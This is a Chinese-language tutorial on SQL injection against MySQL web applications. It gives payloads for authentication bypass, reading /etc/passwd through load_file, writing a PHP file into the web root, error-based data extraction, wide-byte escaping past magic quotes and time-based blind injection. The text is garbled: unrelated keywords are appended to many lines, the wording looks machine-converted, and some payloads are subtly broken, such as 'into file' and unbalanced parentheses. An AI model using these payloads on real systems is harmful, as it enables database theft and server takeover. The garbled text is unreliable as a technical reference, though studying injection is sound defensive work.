先看一個sql語句:php
select * from admin where username='(此處爲用戶輸入的數據)';mysql
在沒有任何過濾的狀況下,若是用戶輸入:' or 1=1 --sql
這條語句就爲:select * from admin where username='' or 1=1 --';數據庫
可見,語句執行永遠爲真。此時就進行了sql注入。安全
SQL注入有以下分類:服務器
初始參數爲:id=1wordpress
能夠構造:id=1 or 1=1 (語句執行永遠爲真)函數
id=1 and 1=2 (語句執行永遠爲假)編碼
id=1' (語句執行會出錯)加密
數字型注入較爲簡單,並且通常在PHP,ASP等弱類型語言中存在,而對於Java,C#等強類型語言通常不存在。
字符型注入首先想到的是閉合單引號。
不難想到:id=1' and 1=2 --
-- 是註釋後邊的語句。
sql注入其實能夠說就是字符型注入和數字型注入。
還有一些常見的注入,如:
POST注入:注入字段在POST數據中。
Cookie注入:注入字段在Cookie字段中。
延時注入:使用數據庫延時特性注入。
base64注入:注入字符串須要通過base64加密。
mysql是一種數據庫。
#:註釋從「#」字符到行尾。
--:註釋「-- 」序列到行尾。注意:「-- 」後面要加一個空格。
/**/:註釋/* XXXX */中間的字符。
/**/註釋存在一個特色:select id /*!55555,username*/ from users
語句正常執行。/*!55555,username*/的意思是若Mysql版本號高於或者等於5.55.55,語句將會被執行。若是「!」後面不加入版本號,將直接執行sql語句。
load_file()函數讀文件
讀取文件,文件必須在服務器上,文件必須爲絕對路徑,必須有權限,文件容量小於 max_allowed_packet字節(默認爲16MB,最大爲1GB),如:
union select 1,load_file('/etc/passwd'),3,4,5,6 #
繞過單引號:union select 1,load_file(字符串轉換爲十六進制),3,4,5,6 #
union select 1,load_file(char(XX,XX,XX........)),3,4,5,6 # ascii碼
into outfile寫文件操做
必須持有權限,文件名爲絕對路徑。
如:select '<?php phpinfo(); ?>' into file 'c:\wwwroot\1.php'
繞過單引號:select char(XX,XX,XX.......) into file 'c:\wwwroot\1.php'
concat 鏈接字符串
concat(user(),0x2c,database())
concat_ws(0x2c,user(),database()) 0x2c是 逗號的16進制。
(1)updatexml
select * from admin where id=1 and updatexml(1,(concat(0x7c,(select @@version))),1);
結果返回一個錯誤:'|5.1.50-community-log'
(2)extractvalue
select * from admin where id=1 and extractvalue(1,concat(0x7c,(select user())));
結果返回一個錯誤:'|root@localhost'
(3)floor
select * from admin where id = 1 union select * from (select count(*),concat(floor(rand(0)*2),(select user()))a from information_schema.tables group by a)b
結果返回:Duplicate entry '1root@localhost' for key 'group_key'
若是PHP開啓了魔術引號,就會將單引號,雙引號,反斜槓和NULL字符加上反斜槓轉義。
如:id=' 會輸出 \'
這時咱們能夠使用寬字節注入:id=%d5' 輸出:誠' 注入成功。
咱們將 誠 進行url編碼:%d5%5c
而 \的url編碼爲:%5c 可見 ,繁體字將反斜槓吃掉了。這就是寬字節注入的原理。
原理很簡單。
好比在數據庫建立三個以下用戶:
admin (有三個空格)
admin (有五個空格)
admin (有七個空格)
三個用戶名長度不同,可是若是 查詢admin用戶名,三個用戶名都會被查詢到。
假設後臺語句是:
select count(*) from users where username='admin' and password='******';
這是存在安全問題的,若是用戶建立一個「admin 」用戶,便可輕易進入後臺,著名的wordpress就被這樣的方式攻擊過。
基於時間差別的盲注手段。延時注入須要用到sleep()函數。
如:select * from users where id = 1 and sleep(3) #三秒後執行sql語句。
也能夠判斷是否存在注入:url+id=1 and sleep(3) 頁面三秒左右打開,則存在注入。
一般 會採用和 if 函數 搭配使用,進行爆破字符串。
如: and if(hex(mid(user(),L,1)))=N,sleep(3),1)
L的位置表明字符串的第幾個字符,N表明ASCII碼。
執行成功,則三秒左右返回頁面,不然,和原來相同。
ps:堅持,努力,爲夢想奮鬥。